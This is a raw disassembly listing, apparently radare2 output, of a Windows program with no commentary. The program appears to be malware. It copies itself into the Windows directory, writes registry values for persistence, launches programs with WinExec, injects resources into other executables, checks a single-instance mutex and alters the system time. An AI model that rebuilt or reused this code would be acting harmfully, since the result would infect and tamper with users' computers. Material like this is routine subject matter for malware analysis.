lea eax, [ebp - 0x1bc]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x1bc]
push eax
lea edx, [ebp - 0x1c0]
mov eax, 0x13158618
call fcn.1314c4a8
mov edx, dword [ebp - 0x1c0]
mov ecx, dword [0x1315ae74]
mov eax, 0x80000001
call fcn.1314c6fc
call fcn.1314e92c
mov eax, dword [0x1315aedc]
mov edx, 0x13156a20
call fcn.13144838
jne 0x1315356f
push 0
push dword [0x1315ae00]
push 0x13156a3c
push dword [0x1315ae74]
push 0x13158664
lea eax, [ebp - 0x1c4]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x1c4]
call fcn.131448ec
push eax
lea edx, [ebp - 0x1d0]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x1d0]
lea eax, [ebp - 0x1cc]
mov edx, 0x13158670
call fcn.13144738
mov eax, dword [ebp - 0x1cc]
lea edx, [ebp - 0x1c8]
call fcn.1314c4a8
mov eax, dword [ebp - 0x1c8]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
xor eax, eax
push ebp
push 0x131533ac
push dword fs:[eax]
mov dword fs:[eax], esp
push dword [0x1315ae00]
push 0x13156a3c
push dword [0x1315ae74]
push 0x13158664
lea eax, [ebp - 0x1d4]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x1d4]
mov edx, 0x1315ae60
call fcn.1314c52c
call fcn.1314e92c
lea edx, [ebp - 0x1d8]
mov eax, dword [0x1315ae60]
call fcn.1314ba54
mov edx, dword [ebp - 0x1d8]
mov eax, 0x1315ae58
call fcn.131444c0
call fcn.1314e92c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x131533b6
call fcn.1314e92c
push 0x13158690
push dword [0x1315ae00]
push 0x131588e4
push dword [0x1315ae74]
push 0x13158700
push 0x13158714
push 0x13158720
push dword [0x1315ae58]
push 0x13158734
push 0x13158714
push 0x13158740
push 0x13158714
push 0x13158774
push 0x13158714
push 0x131587b8
push 0x13158714
push 0x131587c8
push dword [0x1315ae00]
push 0x131588e4
push dword [0x1315ae74]
push 0x131587f4
push 0x13158714
push 0x13158808
push 0x13158714
push 0x13158828
push 0x13158714
push 0x13158840
push dword [0x1315ae00]
push 0x131588e4
push dword [0x1315ae74]
push 0x13158870
push 0x13158714
push 0x13158884
push 0x13158714
push 0x13158894
push 0x13158714
push 0x131588b0
push 0x13158714
mov eax, 0x1315ae5c
mov edx, 0x26
call fcn.131447ac
call fcn.1314e92c
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push dword [0x1315ae00]
push 0x13156a3c
push dword [0x1315ae74]
push 0x131588c0
lea eax, [ebp - 0x1dc]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x1dc]
call fcn.131448ec
push eax
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
call fcn.1314e92c
push 0
push 0x1315ae38
mov eax, dword [0x1315ae5c]
call fcn.131446ec
push eax
mov eax, dword [0x1315ae5c]
call fcn.131448ec
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
call fcn.1314e92c
push ebx
call sub.kernel32.dll_CloseHandle_1
call fcn.1314e92c
push dword [0x1315ae00]
push 0x13156a3c
push dword [0x1315ae74]
push 0x131588c0
lea eax, [ebp - 0x1e0]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x1e0]
push eax
lea edx, [ebp - 0x1e4]
mov eax, 0x13158618
call fcn.1314c4a8
mov edx, dword [ebp - 0x1e4]
mov ecx, dword [0x1315ae78]
mov eax, 0x80000001
call fcn.1314c6fc
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
mov edx, dword [0x1315ae78]
mov eax, 0x131588f8
call fcn.131449d4
test eax, eax
jle 0x13153980
mov edx, dword [0x1315ae78]
mov eax, 0x13158908
call fcn.131449d4
test eax, eax
jne 0x13153980
push 0x101
push 0x1315ace8
call sub.kernel32.dll_GetWindowsDirectoryA
call fcn.1314e92c
mov dword [0x1315adec], 0x1315ace8
call fcn.1314e92c
mov eax, 0x1315ae00
mov edx, dword [0x1315adec]
call fcn.13144648
call fcn.1314e92c
push 0
push dword [0x1315ae00]
push 0x13158914
push dword [0x1315ae74]
lea eax, [ebp - 0x1e8]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x1e8]
call fcn.131448ec
push eax
lea edx, [ebp - 0x1f4]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x1f4]
lea eax, [ebp - 0x1f0]
mov edx, 0x13158600
call fcn.13144738
mov eax, dword [ebp - 0x1f0]
lea edx, [ebp - 0x1ec]
call fcn.1314c4a8
mov eax, dword [ebp - 0x1ec]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
push dword [0x1315ae00]
push 0x13158914
push dword [0x1315ae74]
lea eax, [ebp - 0x1f8]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x1f8]
push eax
lea edx, [ebp - 0x1fc]
mov eax, 0x13158618
call fcn.1314c4a8
mov edx, dword [ebp - 0x1fc]
mov ecx, dword [0x1315ae74]
mov eax, 0x80000001
call fcn.1314c6fc
call fcn.1314e92c
mov eax, dword [0x1315aedc]
mov edx, 0x13156a20
call fcn.13144838
jne 0x1315397b
push 0
push dword [0x1315ae00]
push 0x13156a3c
push dword [0x1315ae74]
push 0x13158664
lea eax, [ebp - 0x200]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x200]
call fcn.131448ec
push eax
lea edx, [ebp - 0x20c]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x20c]
lea eax, [ebp - 0x208]
mov edx, 0x13158670
call fcn.13144738
mov eax, dword [ebp - 0x208]
lea edx, [ebp - 0x204]
call fcn.1314c4a8
mov eax, dword [ebp - 0x204]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
xor eax, eax
push ebp
push 0x131537b8
push dword fs:[eax]
mov dword fs:[eax], esp
push dword [0x1315ae00]
push 0x13156a3c
push dword [0x1315ae74]
push 0x13158664
lea eax, [ebp - 0x210]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x210]
mov edx, 0x1315ae60
call fcn.1314c52c
call fcn.1314e92c
lea edx, [ebp - 0x214]
mov eax, dword [0x1315ae60]
call fcn.1314ba54
mov edx, dword [ebp - 0x214]
mov eax, 0x1315ae58
call fcn.131444c0
call fcn.1314e92c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x131537c2
call fcn.1314e92c
push 0x13158690
push dword [0x1315ae00]
push 0x13158914
push dword [0x1315ae74]
push 0x13158700
push 0x13158714
push 0x13158720
push dword [0x1315ae58]
push 0x13158734
push 0x13158714
push 0x13158740
push 0x13158714
push 0x13158774
push 0x13158714
push 0x131587b8
push 0x13158714
push 0x131587c8
push dword [0x1315ae00]
push 0x13158914
push dword [0x1315ae74]
push 0x131587f4
push 0x13158714
push 0x13158808
push 0x13158714
push 0x13158828
push 0x13158714
push 0x13158840
push dword [0x1315ae00]
push 0x13158914
push dword [0x1315ae74]
push 0x13158870
push 0x13158714
push 0x13158884
push 0x13158714
push 0x13158894
push 0x13158714
push 0x131588b0
push 0x13158714
mov eax, 0x1315ae5c
mov edx, 0x26
call fcn.131447ac
call fcn.1314e92c
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push dword [0x1315ae00]
push 0x13156a3c
push dword [0x1315ae74]
push 0x131588c0
lea eax, [ebp - 0x218]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x218]
call fcn.131448ec
push eax
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
call fcn.1314e92c
push 0
push 0x1315ae38
mov eax, dword [0x1315ae5c]
call fcn.131446ec
push eax
mov eax, dword [0x1315ae5c]
call fcn.131448ec
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
call fcn.1314e92c
push ebx
call sub.kernel32.dll_CloseHandle_1
call fcn.1314e92c
push dword [0x1315ae00]
push 0x13156a3c
push dword [0x1315ae74]
push 0x131588c0
lea eax, [ebp - 0x21c]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x21c]
push eax
lea edx, [ebp - 0x220]
mov eax, 0x13158618
call fcn.1314c4a8
mov edx, dword [ebp - 0x220]
mov ecx, dword [0x1315ae78]
mov eax, 0x80000001
call fcn.1314c6fc
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
mov edx, dword [0x1315ae78]
mov eax, 0x131588f8
call fcn.131449d4
test eax, eax
jg 0x13153d70
mov edx, dword [0x1315ae78]
mov eax, 0x131588d0
call fcn.131449d4
test eax, eax
jg 0x13153d70
mov edx, dword [0x1315ae78]
mov eax, 0x13156a10
call fcn.131449d4
test eax, eax
jg 0x13153d70
xor eax, eax
push ebp
push 0x13153d61
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
lea eax, [ebp - 0x224]
mov ecx, dword [0x1315ae74]
mov edx, dword [0x1315ae78]
call fcn.13144738
mov eax, dword [ebp - 0x224]
call fcn.131448ec
push eax
lea edx, [ebp - 0x230]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x230]
lea eax, [ebp - 0x22c]
mov edx, 0x13158600
call fcn.13144738
mov eax, dword [ebp - 0x22c]
lea edx, [ebp - 0x228]
call fcn.1314c4a8
mov eax, dword [ebp - 0x228]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
lea eax, [ebp - 0x234]
mov ecx, dword [0x1315ae74]
mov edx, dword [0x1315ae78]
call fcn.13144738
mov eax, dword [ebp - 0x234]
push eax
lea edx, [ebp - 0x238]
mov eax, 0x13158618
call fcn.1314c4a8
mov edx, dword [ebp - 0x238]
mov ecx, dword [0x1315ae74]
mov eax, 0x80000001
call fcn.1314c6fc
call fcn.1314e92c
mov eax, dword [0x1315aedc]
mov edx, 0x13156a20
call fcn.13144838
jne 0x13153d52
push 0
push dword [0x1315ae00]
push 0x13156a3c
push dword [0x1315ae74]
push 0x13158664
lea eax, [ebp - 0x23c]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x23c]
call fcn.131448ec
push eax
lea edx, [ebp - 0x248]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x248]
lea eax, [ebp - 0x244]
mov edx, 0x13158670
call fcn.13144738
mov eax, dword [ebp - 0x244]
lea edx, [ebp - 0x240]
call fcn.1314c4a8
mov eax, dword [ebp - 0x240]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
xor eax, eax
push ebp
push 0x13153b9e
push dword fs:[eax]
mov dword fs:[eax], esp
push dword [0x1315ae00]
push 0x13156a3c
push dword [0x1315ae74]
push 0x13158664
lea eax, [ebp - 0x24c]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x24c]
mov edx, 0x1315ae60
call fcn.1314c52c
call fcn.1314e92c
lea edx, [ebp - 0x250]
mov eax, dword [0x1315ae60]
call fcn.1314ba54
mov edx, dword [ebp - 0x250]
mov eax, 0x1315ae58
call fcn.131444c0
call fcn.1314e92c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x13153ba8
call fcn.1314e92c
push 0x13158690
push dword [0x1315ae78]
push dword [0x1315ae74]
push 0x13158700
push 0x13158714
push 0x13158720
push dword [0x1315ae58]
push 0x13158734
push 0x13158714
push 0x13158740
push 0x13158714
push 0x13158774
push 0x13158714
push 0x131587b8
push 0x13158714
push 0x131587c8
push dword [0x1315ae78]
push dword [0x1315ae74]
push 0x131587f4
push 0x13158714
push 0x13158808
push 0x13158714
push 0x13158828
push 0x13158714
push 0x13158840
push dword [0x1315ae78]
push dword [0x1315ae74]
push 0x13158870
push 0x13158714
push 0x13158884
push 0x13158714
push 0x13158894
push 0x13158714
push 0x131588b0
push 0x13158714
mov eax, 0x1315ae5c
mov edx, 0x23
call fcn.131447ac
call fcn.1314e92c
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push dword [0x1315ae00]
push 0x13156a3c
push dword [0x1315ae74]
push 0x131588c0
lea eax, [ebp - 0x254]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x254]
call fcn.131448ec
push eax
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
call fcn.1314e92c
push 0
push 0x1315ae38
mov eax, dword [0x1315ae5c]
call fcn.131446ec
push eax
mov eax, dword [0x1315ae5c]
call fcn.131448ec
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
call fcn.1314e92c
push ebx
call sub.kernel32.dll_CloseHandle_1
call fcn.1314e92c
push dword [0x1315ae00]
push 0x13156a3c
push dword [0x1315ae74]
push 0x131588c0
lea eax, [ebp - 0x258]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x258]
push eax
lea edx, [ebp - 0x25c]
mov eax, 0x13158618
call fcn.1314c4a8
mov edx, dword [ebp - 0x25c]
mov ecx, dword [0x1315ae78]
mov eax, 0x80000001
call fcn.1314c6fc
call fcn.1314e92c
call fcn.1314e92c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x13153d6b
call fcn.1314e92c
call fcn.1314e92c
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
lea eax, [ebp - 0x264]
push eax
mov ecx, 3
xor edx, edx
mov eax, dword [0x1315ae00]
call fcn.1314494c
push dword [ebp - 0x264]
push dword [0x1315ae6c]
push 0x13156a48
push dword [0x1315ae70]
push 0x13156a58
lea eax, [ebp - 0x260]
mov edx, 5
call fcn.131447ac
mov eax, dword [ebp - 0x260]
call fcn.131448ec
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [0x1315ae34], eax
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315ae7c]
mov edx, 0x13156a20
call fcn.13144838
jne 0x131543e1
mov eax, dword [0x1315aed8]
mov edx, 0x13156a20
call fcn.13144838
jne 0x1315403f
push 0
lea eax, [ebp - 0x268]
push eax
xor ecx, ecx
mov edx, 0x13158928
mov eax, 0x80000000
call fcn.1314ea30
mov edx, dword [ebp - 0x268]
mov eax, 0x1315ae04
call fcn.131444c0
call fcn.1314e92c
push 0x1315ae08
mov eax, dword [0x1315ae04]
call fcn.131446ec
mov ecx, eax
dec ecx
xor edx, edx
mov eax, dword [0x1315ae04]
call fcn.1314494c
call fcn.1314e92c
push 0x1315ae0c
mov eax, dword [0x1315ae04]
call fcn.131446ec
mov ecx, eax
dec ecx
xor edx, edx
mov eax, dword [0x1315ae08]
call fcn.1314494c
call fcn.1314e92c
mov eax, 0x1315ae0c
mov ecx, 1
mov edx, 1
call fcn.1314498c
call fcn.1314e92c
lea edx, [ebp - 0x26c]
mov eax, dword [0x1315ae0c]
call fcn.1314bda0
mov edx, dword [ebp - 0x26c]
mov eax, 0x1315ae10
call fcn.131444c0
call fcn.1314e92c
push 0x1315ae14
mov eax, dword [0x1315ae10]
call fcn.131446ec
mov ecx, eax
sub ecx, 4
xor edx, edx
mov eax, dword [0x1315ae10]
call fcn.1314494c
call fcn.1314e92c
push 0
lea eax, [ebp - 0x270]
mov ecx, dword [0x1315ae14]
mov edx, 0x13158948
call fcn.13144738
mov eax, dword [ebp - 0x270]
call fcn.131448ec
push eax
call sub.kernel32.dll_WinExec
call fcn.1314e92c
push 0
lea eax, [ebp - 0x274]
mov ecx, 0x13156a00
mov edx, dword [0x1315ae0c]
call fcn.13144738
mov eax, dword [ebp - 0x274]
call fcn.131448ec
push eax
lea edx, [ebp - 0x280]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x280]
lea eax, [ebp - 0x27c]
mov edx, 0x13158958
call fcn.13144738
mov eax, dword [ebp - 0x27c]
lea edx, [ebp - 0x278]
call fcn.1314c4a8
mov eax, dword [ebp - 0x278]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
mov eax, dword [0x1315ae30]
push eax
call sub.kernel32.dll_FreeLibrary_1
call fcn.1314e92c
push 0x3e8
call sub.kernel32.dll_Sleep
call fcn.1314e92c
push 0
mov eax, dword [0x1315ae0c]
call fcn.131448ec
push eax
push 0x13158958
push dword [0x1315ae0c]
push 0x13156a00
lea eax, [ebp - 0x288]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x288]
lea edx, [ebp - 0x284]
call fcn.1314c4a8
mov eax, dword [ebp - 0x284]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
lea eax, [ebp - 0x290]
mov ecx, 0x13156a00
mov edx, dword [0x1315ae0c]
call fcn.13144738
mov eax, dword [ebp - 0x290]
call fcn.131448ec
mov edx, eax
lea eax, [ebp - 0x28c]
call fcn.13144648
mov eax, dword [ebp - 0x28c]
call fcn.13146abc
call fcn.1314e92c
jmp 0x131543dc
push 0
lea eax, [ebp - 0x294]
push eax
xor ecx, ecx
mov edx, 0x13158928
mov eax, 0x80000000
call fcn.1314ea30
mov edx, dword [ebp - 0x294]
mov eax, 0x1315ae04
call fcn.131444c0
call fcn.1314e92c
push 0x1315ae08
mov eax, dword [0x1315ae04]
call fcn.131446ec
mov ecx, eax
dec ecx
xor edx, edx
mov eax, dword [0x1315ae04]
call fcn.1314494c
call fcn.1314e92c
push 0x1315ae0c
mov eax, dword [0x1315ae04]
call fcn.131446ec
mov ecx, eax
dec ecx
xor edx, edx
mov eax, dword [0x1315ae08]
call fcn.1314494c
call fcn.1314e92c
mov eax, 0x1315ae0c
mov ecx, 1
mov edx, 1
call fcn.1314498c
call fcn.1314e92c
lea edx, [ebp - 0x298]
mov eax, dword [0x1315ae0c]
call fcn.1314bda0
mov edx, dword [ebp - 0x298]
mov eax, 0x1315ae10
call fcn.131444c0
call fcn.1314e92c
push 0x1315ae14
mov eax, dword [0x1315ae10]
call fcn.131446ec
mov ecx, eax
sub ecx, 4
xor edx, edx
mov eax, dword [0x1315ae10]
call fcn.1314494c
call fcn.1314e92c
push 0
lea eax, [ebp - 0x29c]
mov ecx, dword [0x1315ae14]
mov edx, 0x13158948
call fcn.13144738
mov eax, dword [ebp - 0x29c]
call fcn.131448ec
push eax
call sub.kernel32.dll_WinExec
call fcn.1314e92c
push 0
lea eax, [ebp - 0x2a0]
mov ecx, 0x13156a00
mov edx, dword [0x1315ae0c]
call fcn.13144738
mov eax, dword [ebp - 0x2a0]
call fcn.131448ec
push eax
lea edx, [ebp - 0x2ac]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x2ac]
lea eax, [ebp - 0x2a8]
mov edx, 0x13158958
call fcn.13144738
mov eax, dword [ebp - 0x2a8]
lea edx, [ebp - 0x2a4]
call fcn.1314c4a8
mov eax, dword [ebp - 0x2a4]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
mov eax, dword [0x1315ae0c]
call fcn.131448ec
push eax
call sub.kernel32.dll_LoadLibraryA
mov dword [0x1315ae30], eax
call fcn.1314e92c
push 0x10
push 1
mov eax, dword [0x1315ae30]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae30]
push eax
call sub.kernel32.dll_LoadResource
push eax
call sub.kernel32.dll_LockResource
mov dword [0x1315ae44], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae30]
push eax
call sub.kernel32.dll_SizeofResource
mov esi, eax
call fcn.1314e92c
push 0
lea eax, [ebp - 0x2b0]
mov ecx, 0x13156a00
mov edx, dword [0x1315ae0c]
call fcn.13144738
mov eax, dword [ebp - 0x2b0]
call fcn.131448ec
push eax
call sub.kernel32.dll_BeginUpdateResourceA
mov ebx, eax
call fcn.1314e92c
push esi
mov eax, dword [0x1315ae44]
push eax
push 0
push 1
push 0x10
push ebx
call sub.kernel32.dll_UpdateResourceA
call fcn.1314e92c
push 0
push ebx
call sub.kernel32.dll_EndUpdateResourceA
call fcn.1314e92c
mov eax, dword [0x1315ae30]
push eax
call sub.kernel32.dll_FreeLibrary_1
call fcn.1314e92c
mov eax, dword [0x1315ae0c]
call fcn.131448ec
push eax
call sub.kernel32.dll_LoadLibraryA
mov dword [0x1315ae30], eax
call fcn.1314e92c
push 3
push 5
mov eax, dword [0x1315ae30]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae30]
push eax
call sub.kernel32.dll_LoadResource
push eax
call sub.kernel32.dll_LockResource
mov dword [0x1315ae44], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae30]
push eax
call sub.kernel32.dll_SizeofResource
mov esi, eax
call fcn.1314e92c
push 0
lea eax, [ebp - 0x2b4]
mov ecx, 0x13156a00
mov edx, dword [0x1315ae0c]
call fcn.13144738
mov eax, dword [ebp - 0x2b4]
call fcn.131448ec
push eax
call sub.kernel32.dll_BeginUpdateResourceA
mov ebx, eax
call fcn.1314e92c
push esi
mov eax, dword [0x1315ae44]
push eax
push 0
push 1
push 3
push ebx
call sub.kernel32.dll_UpdateResourceA
call fcn.1314e92c
push 0
push ebx
call sub.kernel32.dll_EndUpdateResourceA
call fcn.1314e92c
mov eax, dword [0x1315ae30]
push eax
call sub.kernel32.dll_FreeLibrary_1
call fcn.1314e92c
push 0x3e8
call sub.kernel32.dll_Sleep
call fcn.1314e92c
push 0
mov eax, dword [0x1315ae0c]
call fcn.131448ec
push eax
push 0x13158958
push dword [0x1315ae0c]
push 0x13156a00
lea eax, [ebp - 0x2bc]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x2bc]
lea edx, [ebp - 0x2b8]
call fcn.1314c4a8
mov eax, dword [ebp - 0x2b8]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
lea eax, [ebp - 0x2c4]
mov ecx, 0x13156a00
mov edx, dword [0x1315ae0c]
call fcn.13144738
mov eax, dword [ebp - 0x2c4]
call fcn.131448ec
mov edx, eax
lea eax, [ebp - 0x2c0]
call fcn.13144648
mov eax, dword [ebp - 0x2c0]
call fcn.13146abc
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315ae8c]
mov edx, 0x13156a20
call fcn.13144838
jne 0x13154482
push 0x101
push 0x1315ace8
call sub.kernel32.dll_GetWindowsDirectoryA
call fcn.1314e92c
mov dword [0x1315adec], 0x1315ace8
call fcn.1314e92c
mov eax, 0x1315ae00
mov edx, dword [0x1315adec]
call fcn.13144648
call fcn.1314e92c
xor eax, eax
push ebp
push 0x13154473
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x2c8]
push eax
mov ecx, 3
xor edx, edx
mov eax, dword [0x1315ae00]
call fcn.1314494c
mov eax, dword [ebp - 0x2c8]
call fcn.1314c7c8
call fcn.1314e92c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x1315447d
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315aec0]
mov edx, 0x13156a20
call fcn.13144838
jne 0x13154523
push 0x101
push 0x1315ace8
call sub.kernel32.dll_GetWindowsDirectoryA
call fcn.1314e92c
mov dword [0x1315adec], 0x1315ace8
call fcn.1314e92c
mov eax, 0x1315ae00
mov edx, dword [0x1315adec]
call fcn.13144648
call fcn.1314e92c
xor eax, eax
push ebp
push 0x13154514
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x2cc]
push eax
mov ecx, 3
xor edx, edx
mov eax, dword [0x1315ae00]
call fcn.1314494c
mov eax, dword [ebp - 0x2cc]
call fcn.1314e08c
call fcn.1314e92c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x1315451e
call fcn.1314e92c
call fcn.1314e92c
push 0x13158960
push 0xffffffffffffffff
push 0x1f0001
call sub.kernel32.dll_OpenMutexA
mov ebx, eax
call fcn.1314e92c
test ebx, ebx
jbe 0x1315454b
push 0
call sub.kernel32.dll_ExitProcess_1
call fcn.1314e92c
push 0x13158960
push 0xffffffffffffffff
push 0
call fcn.13145768
call fcn.1314e92c
mov eax, dword [0x1315aee8]
mov edx, 0x13156a20
call fcn.13144838
jne 0x131548f0
xor eax, eax
push ebp
push 0x131548e1
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x2d0]
mov eax, 0x131569ac
call fcn.1314c4a8
mov eax, dword [ebp - 0x2d0]
call fcn.131448ec
push eax
push 0x21
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315ae48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315aeec
lea eax, [ebp - 0x2d4]
mov edx, dword [0x1315ae48]
call fcn.13144648
mov eax, dword [ebp - 0x2d4]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
lea edx, [ebp - 0x2d8]
mov eax, 0x131569ac
call fcn.1314c4a8
mov eax, dword [ebp - 0x2d8]
call fcn.131448ec
push eax
push 0x22
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315ae48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315aef0
lea eax, [ebp - 0x2dc]
mov edx, dword [0x1315ae48]
call fcn.13144648
mov eax, dword [ebp - 0x2dc]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
lea edx, [ebp - 0x2e0]
mov eax, 0x131569ac
call fcn.1314c4a8
mov eax, dword [ebp - 0x2e0]
call fcn.131448ec
push eax
push 0x23
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315ae48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315aef4
lea eax, [ebp - 0x2e4]
mov edx, dword [0x1315ae48]
call fcn.13144648
mov eax, dword [ebp - 0x2e4]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
lea edx, [ebp - 0x2e8]
mov eax, 0x131569ac
call fcn.1314c4a8
mov eax, dword [ebp - 0x2e8]
call fcn.131448ec
push eax
push 0x24
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315ae48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315aef8
lea eax, [ebp - 0x2ec]
mov edx, dword [0x1315ae48]
call fcn.13144648
mov eax, dword [ebp - 0x2ec]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
push 0x1315ab18
call sub.kernel32.dll_GetSystemTime
call fcn.1314e92c
mov eax, dword [0x1315aeec]
call fcn.13146954
mov dword [0x1315ae54], eax
call fcn.1314e92c
mov eax, dword [0x1315aef0]
call fcn.13146954
mov ebx, eax
call fcn.1314e92c
mov eax, dword [0x1315aef4]
call fcn.13146954
mov esi, eax
call fcn.1314e92c
mov eax, dword [0x1315aef8]
call fcn.13146954
mov dword [0x1315ae50], eax
call fcn.1314e92c
mov di, word [0x1315ae54]
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
mov ax, word [0x1315ae50]
mov word [0x1315ae40], ax
call fcn.1314e92c
mov ax, word [0x1315ab18]
sub ax, word [0x1315ab18]
add di, ax
mov word [0x1315ab18], di
call fcn.1314e92c
mov ax, word [0x1315ab20]
sub ax, word [0x1315ab20]
sub bx, 3
add ax, bx
mov word [0x1315ab20], ax
call fcn.1314e92c
mov ax, word [0x1315ab22]
sub ax, word [0x1315ab22]
add si, ax
mov word [0x1315ab22], si
call fcn.1314e92c
mov ax, word [0x1315ab24]
sub ax, word [0x1315ab24]
add ax, word [0x1315ae40]
mov word [0x1315ab24], ax
call fcn.1314e92c
push 0x1315ab18
call sub.kernel32.dll_SetSystemTime
call fcn.1314e92c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x131548eb
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315aee0]
mov edx, 0x13156a20
call fcn.13144838
jne 0x13154e69
xor eax, eax
push ebp
push 0x13154e5a
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x2f0]
mov eax, 0x131569ac
call fcn.1314c4a8
mov eax, dword [ebp - 0x2f0]
call fcn.131448ec
push eax
push 0x1f
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
